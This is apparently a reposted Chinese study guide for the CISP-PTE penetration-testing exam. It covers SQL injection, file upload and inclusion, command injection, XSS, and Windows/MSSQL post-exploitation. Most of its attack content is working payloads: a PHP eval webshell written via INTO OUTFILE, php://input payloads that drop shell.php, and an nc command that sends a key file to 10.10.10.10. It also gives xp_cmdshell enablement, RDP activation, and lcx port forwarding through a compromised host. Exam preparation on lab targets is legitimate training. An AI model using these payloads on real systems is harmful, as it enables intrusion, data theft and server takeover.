|
原文链接:cisp-pte渗透工程师考试总结
2020年7月份顺利通过了PTE的考试,这里给想要参加PTE考试的同学总结一下考试的内容,难度,和常考知识点。
题型分为选择题和实操题两部分。
满分为100分,70分通过。整体难度水平,感觉差不多是CTF入门水平吧,稍微准备下通过率还是很高的。
考试相关工具和环境,公众号发送“pte”即可获取。
选择题有20道,共20分,主要考查一下安全方面的基础知识,这部分只要能拿10分以上就可以了,零头分没啥用。
剩下的为80分的实操题,分为6个大题。
1. SQL注入(一般是mysql)
2. 文件上传漏洞
3. 文件包含漏洞
4. 命令执行漏洞
5. 日志审计或者XSS
6. 综合渗透分析(分为3道小题)
1.SQL注入
这题主要考察基本的手工测试和sqlmap使用。
基本的手工注入:union联合查询
查表
select group_concat(table_name) frominformation_schema.tables where table_schema=database()
b4bsql,geekuser
查列
select group_concat(column_name) frominformation_schema.columns where table_name='geekuser'
id,username,password
查数据
select group_concat(username) from geekuser
sqlmap使用命令:查当前用户:sqlmap.py-u http://www..com/news/meituwangview.aspx?d=127 --current-user
查当前数据库:sqlmap.py-u http://www..com/news/meituwangview.aspx?d=127 --current-db
查所有表:sqlmap.py-u http://www..com/news/meituwangview.aspx?d=127 -D 数据库名 --tables
查表中列:sqlmap.py-u http://www..com/news/meituwangview.aspx?d=127 -D 数据库名 -T 表名 --columns
查表中数据:sqlmap.py-u http://www..com/news/meituwangview.aspx?d=127 -D 数据库名 -T 表名 -C 列名1,列名2 --dump
key的位置:关于key的位置一定要多注意,一般有以下三种情况
1.题干告诉你key的路径,可以直接sqlmap --file-read读取,命令如下:
python sqlmap.py -u "url" -p id --dbms mysql --level 3 --risk 3 -D 数据库名 --file-read “题干中要求的key的路径”
2.key在后台
这种就是直接跑出数据库中的账号密码
登陆后台就能看到key
3.需要获取webshell,在网站目录下存在key
可以使用文件写入使用into outfile函数:
union select 1,"<?php @eval($_GET[x]);?>",3,4,5 intooutfile 'C:/Inetpub/wwwroot/cc.php'
2.文件上传漏洞
这个没啥好说的,刷一下uploadlabs就可以了。
考试基本就是js绕过,后缀绕过,00截断这些,比较基础。
另外要注意可能会检查上传的文件内容,这时候就需要上传免杀木马。
3.文件包含漏洞
这题就是考察伪协议,也比较基础
如果遇到远程文件包含,可以自己在本地搭一个远程shell
php://filterphp://input
Payload:
php://filter用法:?filename=php://filter/convert.base64-encode/resource=index.txt
php://input用法:?filename=php://input 使用post方式提交
<?php system('whoami')?>
<?PHP fputs(fopen('shell.php','w'),'<?php@eval($_POST[cmd])?>');?>
file://data:// pchar:// zip://
Payload:
?filename=file:///D:/phpstudy/PHPTutorial/WWW/index.txt
?filename=data://text/plain,<?php%20phpinfo();?>
?filename=phar://index.zip/index.txt
4.命令执行漏洞
这题主要就是命令执行读取key,当然不会那么轻松就能读取,会有一些小绕过,我把一些命令总结如下:
; 多个命令互相不影响
a && b a命令执行成功才执行b命令
a || b a成功不执行b a失败执行b
除了常规的读取命令:
———————————————————————————-
cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的查看文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat-n,显示时输出行号
tailf:类似于tail-f
———————————————————————————–
Linux花式读取文件内容
ps:目标是获取flag.txt的内容
static-sh读取文件:
static-sh ./flag.txt
#输出结果:
./flag.txt: line 1: flag{this_is_a_test}:not found
———————————————————————————–
paste读取文件:
paste ./flag.txt /etc/passwd
#输出结果:
flag{this_is_a_test} root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
———————————————————————————-
diff读取文件 :
diff ./flag.txt /etc/passwd
#输出结果:
1c1,45
< flag{this_is_a_test}
\ No newline at end of file
—
> root:x:0:0:root:/root:/bin/bash
>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
> bin:x:2:2:bin:/bin:/usr/sbin/nologin
> sys:x:3:3:sys:/dev:/usr/sbin/nologin
> sync:x:4:65534:sync:/bin:/bin/sync
———————————————————————————–
od读取文件
od -a ./flag.txt
#输出结果:
0000000 f l a g { t h i s _ i s _ a _ t
0000020 e s t }
0000024
———————————————————————————–
bzmore读取文件:
bzmore ./flag.txt
#输出结果:
——> ./flag.txt <——
flag{this_is_a_test}
———————————————————————————–
bzless读取文件:
bzless ./flag.txt
echo `bzless ./flag.txt`
#输出结果:
——> ./flag.txt <——flag{this_is_a_test}
———————————————————————————–
curl读取文件:
curl file:///home/coffee/flag
———————————————————————————–
nc 传输文件
靶机:
nc 10.10.10.10 4444 < /var/www/html/key.php
接受机:
nc -l 4444 > key.txt
———————————————————————————-
wget
wget url -P path
5.日志审计和XSS
日志审计没啥难度
日志文件下载
分析:
(1)有内容都查看
(2)针对ip查找相关信息
响应状态 200
请求的网站目录
POST包和GET包
XSS漏洞
执行XSS拿对方cookie,由于题目没有提供xss平台等工具,所以需要本地nc监听来获取cookie。
6.综合渗透题
三道题目的环境是一样的,通常是win2003,iis6/7,asp,mssql数据库。
第1题一般就是暴力破解,进入后台读取key
但是用户名不一定是admin,根据页面信息,自己找到管理员用户名
密码字典有可能是题目提前提供了,需要自己去寻找。
第2题,通常是御剑进行目录扫描,找到网站备份文件,在备份文件中读取到网站的数据库账号密码。
通过navicat连接数据库,在数据库中读取第二个key。
第三题,相对来说比较有意思。
第二题已经获得了数据库权限
那么可以用mssql进行xp_cmdshell提权,来获取服务器的system权限,上传getpass,获取管理员密码,方便我们远程登录。
mssql提权命令
启用:
EXEC sp_configure 'show advancedoptions', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
执行:
EXEC master.dbo.xp_cmdshell '命令'
这时候需要登录远程桌面,如果题目禁用了3389,这里可以使用命令开启3389.
开3389
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
如果3389不对外开放,则需要使用端口转发技术
端口转发
使用lcx
本机: lcx -listen 2222 3333
2222为转发端口,3333为本机任意未被占用的端口
肉鸡:lcx -slave 2.2.2.2 2222 127.0.0.13389
2.2.2.2 为本机IP,2222为转发端口,127.0.0.1为肉鸡内网IP,3389为远程终端端口
3389连接时格式 本机ip:3333
登陆上目标主机后,key一般在桌面,或者回收站里。
最后祝大家都能顺利通过考试。
|
|